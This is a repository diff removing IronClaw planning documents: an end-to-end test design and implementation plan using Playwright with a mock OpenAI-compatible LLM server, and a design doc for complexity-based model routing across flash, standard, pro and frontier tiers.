Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.
---
## Dependencies
```toml
# tests/e2e/pyproject.toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
```
---
## CI Integration
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- 'src/channels/web/**'
- 'tests/e2e/**'
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: target
key: e2e-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
```
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
---
## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts
-952
View File
@@ -1,952 +0,0 @@
# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```
---
### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""
body = await request.json()
messages = body.get("messages", [])
stream = body.get("stream", False)
response_text = match_response(messages)
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,
"message": {"role": "assistant", "content": response_text},
"finish_reason": "stop",
}],
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role
chunk = {
"id": completion_id,
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "mock-model",
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```
---
### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python
"""Shared helpers for E2E tests."""
import asyncio
import re
import time
import httpx
# ── DOM Selectors ────────────────────────────────────────────────────────
# Keep all selectors in one place so changes to the frontend only need
# one update.
SEL = {
# Auth
"auth_screen": "#auth-screen",
"token_input": "#token-input",
# Connection
"sse_status": "#sse-status",
# Tabs
"tab_button": '.tab-bar button[data-tab="{tab}"]',
"tab_panel": "#tab-{tab}",
# Chat
"chat_input": "#chat-input",
"chat_messages": "#chat-messages",
"message_user": "#chat-messages .message.user",
"message_assistant": "#chat-messages .message.assistant",
# Skills
"skill_search_input": "#skill-search-input",
"skill_search_results": "#skill-search-results",
"skill_search_result": ".skill-search-result",
"skill_installed": "#installed-skills .ext-card",
}
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
# Auth token used across all tests
AUTH_TOKEN = "e2e-test-token"
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
"""Poll a URL until it returns 200 or timeout."""
deadline = time.monotonic() + timeout
async with httpx.AsyncClient() as client:
while time.monotonic() < deadline:
try:
resp = await client.get(url, timeout=5)
if resp.status_code == 200:
return
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
pass
await asyncio.sleep(interval)
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
"""Read process stdout line by line until a port-bearing line matches."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
remaining = deadline - time.monotonic()
if remaining <= 0:
break
try:
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
except asyncio.TimeoutError:
break
decoded = line.decode("utf-8", errors="replace").strip()
if match := re.search(pattern, decoded):
return int(match.group(1))
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
```
**Step 2: Commit**
```bash
git add tests/e2e/helpers.py
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
```
---
### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects
```python
"""pytest fixtures for E2E tests.
Session-scoped: build binary, start mock LLM, start ironclaw.
Function-scoped: fresh Playwright browser page per test.
"""
import asyncio
import os
import signal
import subprocess
import sys
from pathlib import Path
import pytest
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
# Project root (two levels up from tests/e2e/)
ROOT = Path(__file__).resolve().parent.parent.parent
# Ports: use high fixed ports to avoid conflicts with development instances
MOCK_LLM_PORT = 18_199
GATEWAY_PORT = 18_200
@pytest.fixture(scope="session")
def ironclaw_binary():
"""Ensure ironclaw binary is built. Returns the binary path."""
binary = ROOT / "target" / "debug" / "ironclaw"
if not binary.exists():
print("Building ironclaw (this may take a while)...")
subprocess.run(
["cargo", "build", "--no-default-features", "--features", "libsql"],
cwd=ROOT,
check=True,
timeout=600,
)
assert binary.exists(), f"Binary not found at {binary}"
return str(binary)
@pytest.fixture(scope="session")
def event_loop():
"""Create a session-scoped event loop for async fixtures."""
loop = asyncio.new_event_loop()
yield loop
loop.close()
@pytest.fixture(scope="session")
async def mock_llm_server():
"""Start the mock LLM server. Yields the base URL."""
server_script = Path(__file__).parent / "mock_llm.py"
proc = await asyncio.create_subprocess_exec(
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
try:
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
url = f"http://127.0.0.1:{port}"
await wait_for_ready(f"{url}/v1/models", timeout=10)
yield url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture(scope="session")
async def ironclaw_server(ironclaw_binary, mock_llm_server):
"""Start the ironclaw gateway. Yields the base URL."""
env = {
**os.environ,
"RUST_LOG": "ironclaw=info",
"GATEWAY_ENABLED": "true",
"GATEWAY_HOST": "127.0.0.1",
"GATEWAY_PORT": str(GATEWAY_PORT),
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
"GATEWAY_USER_ID": "e2e-tester",
"CLI_ENABLED": "false",
"LLM_BACKEND": "openai_compatible",
"LLM_BASE_URL": mock_llm_server,
"LLM_MODEL": "mock-model",
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
"ROUTINES_ENABLED": "false",
"HEARTBEAT_ENABLED": "false",
"EMBEDDING_ENABLED": "false",
# Prevent onboarding wizard from triggering
"ONBOARD_COMPLETED": "true",
}
proc = await asyncio.create_subprocess_exec(
ironclaw_binary,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env=env,
)
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
try:
await wait_for_ready(f"{base_url}/api/health", timeout=60)
yield base_url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture
async def page(ironclaw_server):
"""Fresh Playwright browser page, navigated to the gateway with auth."""
from playwright.async_api import async_playwright
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context(viewport={"width": 1280, "height": 720})
pg = await context.new_page()
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
# Wait for the app to initialize (auth screen hidden, SSE connected)
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
yield pg
await context.close()
await browser.close()
```
**Step 2: Commit**
```bash
git add tests/e2e/conftest.py
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
```
---
### Task 5: Scenario 1 -- Connection and tab navigation
**Files:**
- Create: `tests/e2e/scenarios/test_connection.py`
**Step 1: Write the test**
```python
"""Scenario 1: Connection, auth, and tab navigation."""
import pytest
from helpers import AUTH_TOKEN, SEL, TABS
async def test_page_loads_and_connects(page):
"""After auth, the app shows Connected status and all tabs."""
# Connection status
status = page.locator(SEL["sse_status"])
await status.wait_for(state="visible", timeout=10000)
text = await status.text_content()
assert text is not None
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
# All 6 main tabs visible
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
async def test_tab_navigation(page):
"""Clicking each tab shows its panel."""
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
await btn.click()
panel = page.locator(SEL["tab_panel"].format(tab=tab))
await panel.wait_for(state="visible", timeout=5000)
# Return to Chat tab
await page.locator(SEL["tab_button"].format(tab="chat")).click()
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
async def test_auth_rejection(page, ironclaw_server):
"""Navigating without a token shows the auth screen."""
# Open a new page without the token
new_page = await page.context.new_page()
await new_page.goto(ironclaw_server)
auth_screen = new_page.locator(SEL["auth_screen"])
await auth_screen.wait_for(state="visible", timeout=10000)
await new_page.close()
```
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
```bash
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
```
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
**Step 3: Commit**
```bash
git add tests/e2e/scenarios/test_connection.py
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
```
---
### Task 6: Scenario 2 -- Chat message round-trip
**Files:**
- Create: `tests/e2e/scenarios/test_chat.py`
**Step 1: Write the test**
```python
"""Scenario 2: Chat message round-trip via SSE streaming."""
import pytest
from helpers import SEL
async def test_send_message_and_receive_response(page):
"""Type a message, receive a streamed response from mock LLM."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# Send message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for assistant response
assistant_msg = page.locator(SEL["message_assistant"]).last
await assistant_msg.wait_for(state="visible", timeout=15000)
# Verify user message
user_msgs = page.locator(SEL["message_user"])
assert await user_msgs.count() >= 1
last_user = user_msgs.last
user_text = await last_user.text_content()
assert "2+2" in user_text or "2 + 2" in user_text
# Verify assistant response contains "4" (from mock LLM canned response)
assistant_text = await assistant_msg.text_content()
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
async def test_multiple_messages(page):
"""Send two messages, verify both get responses."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# First message
await chat_input.fill("Hello")
await chat_input.press("Enter")
# Wait for first response
await page.locator(SEL["message_assistant"]).first.wait_for(
state="visible", timeout=15000
)
# Second message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for second response (at least 2 assistant messages)
await page.wait_for_function(
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
timeout=15000,
)
# Verify counts
user_count = await page.locator(SEL["message_user"]).count()
assistant_count = await page.locator(SEL["message_assistant"]).count()
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
async def test_empty_message_not_sent(page):
"""Pressing Enter with empty input should not create a message."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
# Press Enter with empty input
await chat_input.press("Enter")
# Wait a moment and verify no new messages
await page.wait_for_timeout(2000)
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
assert final_count == initial_count, "Empty message should not create new messages"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_chat.py
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
```
---
### Task 7: Scenario 3 -- Skills lifecycle
**Files:**
- Create: `tests/e2e/scenarios/test_skills.py`
**Step 1: Write the test**
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
```python
"""Scenario 3: Skills search, install, and remove lifecycle."""
import pytest
from helpers import SEL
async def test_skills_tab_visible(page):
"""Skills tab shows the search interface."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
await panel.wait_for(state="visible", timeout=5000)
search_input = page.locator(SEL["skill_search_input"])
assert await search_input.is_visible(), "Skills search input not visible"
async def test_skills_search(page):
"""Search ClawHub for skills and verify results appear."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
# Wait for results (ClawHub may be slow)
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
count = await results.count()
assert count >= 1, "Expected at least 1 search result"
async def test_skills_install_and_remove(page):
"""Install a skill from search results, then remove it."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
# Search
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
# Auto-accept confirm dialogs
await page.evaluate("window.confirm = () => true")
# Install first result
install_btn = results.first.locator("button", has_text="Install")
if await install_btn.count() == 0:
pytest.skip("No installable skills found in results")
await install_btn.click()
# Wait for install to complete (installed list updates)
# The UI should show the skill in the installed section
await page.wait_for_timeout(5000)
# Check if any installed skills exist now
installed = page.locator(SEL["skill_installed"])
installed_count = await installed.count()
if installed_count == 0:
# Try scrolling or waiting longer
await page.wait_for_timeout(5000)
installed_count = await installed.count()
assert installed_count >= 1, "Skill should appear in installed list after install"
# Remove the skill
remove_btn = installed.first.locator("button", has_text="Remove")
if await remove_btn.count() > 0:
await remove_btn.click()
await page.wait_for_timeout(3000)
# Verify removed
new_count = await page.locator(SEL["skill_installed"]).count()
assert new_count < installed_count, "Skill should be removed from installed list"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_skills.py
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
```
---
### Task 8: CI workflow
**Files:**
- Create: `.github/workflows/e2e.yml`
**Step 1: Write the workflow**
```yaml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
```
**Step 2: Commit**
```bash
git add .github/workflows/e2e.yml
git commit -m "ci: add weekly E2E test workflow with Playwright"
```
---
### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
---
## Summary
| Task | Files | Description |
|------|-------|-------------|
| 1 | pyproject.toml, __init__.py | Project scaffolding |
| 2 | mock_llm.py | Mock OpenAI-compat server |
| 3 | helpers.py | Selectors and utilities |
| 4 | conftest.py | pytest fixtures |
| 5 | test_connection.py | Scenario 1: connection/tabs |
| 6 | test_chat.py | Scenario 2: chat round-trip |
| 7 | test_skills.py | Scenario 3: skills lifecycle |
| 8 | e2e.yml | CI workflow |
| 9 | README.md | Documentation |
| 10 | (integration run) | Verify everything works |
-195
View File
@@ -1,195 +0,0 @@
# Smart Model Routing for IronClaw
**Status:** Implemented
**Author:** Microwave
**Date:** 2026-02-19
## What
Automatic model selection based on request complexity. The router analyzes each user message and selects an appropriate model tier (flash/standard/pro/frontier), then maps that tier to a configured model.
## Why
1. **Cost optimization** — Simple requests ("hi", "what time is it") don't need expensive models
2. **User experience** — Simple requests return faster with lightweight models
3. **NEAR AI native** — Default backend uses NEAR AI inference where costs vary by model
4. **Zero-config value** — Users benefit immediately without configuration
5. **Not just power users** — Everyone gets smart defaults, power users can override
## How
### Architecture
```
User Message
┌──────────────────┐
│ Pattern Overrides │ ← Fast-path for obvious cases (greetings, security audits)
└────────┬─────────┘
│ no match
┌──────────────────┐
│ Complexity Scorer │ ← 13-dimension analysis
└────────┬─────────┘
│ score 0-100
┌──────────────────┐
│ Tier Mapping │ ← 0-15: flash, 16-40: standard, 41-65: pro, 66+: frontier
└────────┬─────────┘
│ tier
┌──────────────────┐
│ Model Selection │ ← Currently: cheap provider (Flash/Standard/Pro) vs primary (Frontier)
└────────┬─────────┘ Target: per-tier model mapping via config
LLM Provider
```
### Complexity Scorer (13 Dimensions)
Each dimension produces a 0-100 score. Weighted sum determines total.
| Dimension | Weight | Signals |
|-----------|--------|---------|
| Reasoning Words | 14% | "why", "explain", "compare", "trade-offs" |
| Token Estimate | 12% | Prompt length |
| Code Indicators | 10% | Backticks, syntax, "implement", "PR" |
| Multi-Step | 10% | "first", "then", "after", "steps" |
| Domain Specific | 10% | Technical terms (configurable) |
| Creativity | 7% | "write", "summarize", "tweet", "blog" |
| Question Complexity | 7% | Multiple questions, open-ended starters |
| Precision | 6% | Numbers, "exactly", "calculate" |
| Ambiguity | 5% | Vague references |
| Context Dependency | 5% | "previous", "you said" |
| Sentence Complexity | 5% | Commas, conjunctions, clause depth |
| Tool Likelihood | 5% | "read", "deploy", "install" |
| Safety Sensitivity | 4% | "password", "auth", "vulnerability" |
**Multi-dimensional boost:** +30% when 3+ dimensions score above threshold.
### Tier Boundaries
| Score | Tier | Typical Use Case |
|-------|------|------------------|
| 0-15 | flash | Greetings, acknowledgments, quick lookups |
| 16-40 | standard | Writing, comparisons, defined tasks |
| 41-65 | pro | Multi-step analysis, code review |
| 66+ | frontier | Critical decisions, security audits |
### Pattern Overrides
Fast-path rules that bypass scoring for obvious cases:
```yaml
# Force flash tier
- "^(hi|hello|hey|thanks|ok|sure|yes|no)$"
- "^what.*(time|date|day)"
# Force frontier tier
- "security.*(audit|review|scan)"
- "vulnerabilit(y|ies).*(review|scan|check|audit)"
# Force pro tier
- "deploy.*(mainnet|production)"
```
### Configuration
> **Note:** The current implementation supports smart routing via
> `NEARAI_CHEAP_MODEL` and `SMART_ROUTING_CASCADE` env vars, plus
> `domain_keywords` on `SmartRoutingConfig`. The full `llm.routing` YAML
> schema below is the target design — not all knobs are wired yet.
**Default (zero-config):**
```yaml
llm:
routing:
enabled: true # default
```
**Power user overrides (target schema):**
```yaml
llm:
routing:
enabled: true
tiers:
flash: "claude-3-5-haiku-latest"
standard: "claude-sonnet-4-5-latest"
pro: "claude-sonnet-4-5-latest"
frontier: "claude-opus-4-5-latest"
thinking:
pro: "low"
frontier: "medium"
overrides:
- pattern: "my-custom-pattern"
tier: "pro"
domain_keywords: # Custom keywords for your domain
- "mycompany"
- "myproduct"
- "internal-tool"
```
If `domain_keywords` is not set, uses `DEFAULT_DOMAIN_KEYWORDS` which covers common web3/infra terms.
**Disable routing (pin model):**
```yaml
llm:
routing:
enabled: false
model: "claude-opus-4-5"
```
**Bring your own keys:**
```yaml
llm:
backend: anthropic
api_key: "sk-..."
routing:
enabled: true # still works with external providers
```
### Integration Points
1. **RoutingProvider** — New wrapper implementing `LlmProvider` trait (like `FailoverProvider`)
2. **Scorer** — Pure function, no I/O, fast (~1ms)
3. **Config schema** — Extend `LlmConfig` with `routing` section
4. **Telemetry** — Log routing decisions for observability
### Model Agnosticism
**Critical:** No hardcoded model names in the router logic itself.
- Tier→model mappings come from config
- Default mappings use `-latest` patterns where supported
- NEAR AI backend handles actual model resolution
- Router only knows about tiers
### Layers of Control
| Layer | User Type | Config |
|-------|-----------|--------|
| 1. Zero-config | Everyone | `routing.enabled: true` (default) |
| 2. Tier tuning | Power users | Custom `routing.tiers` mapping |
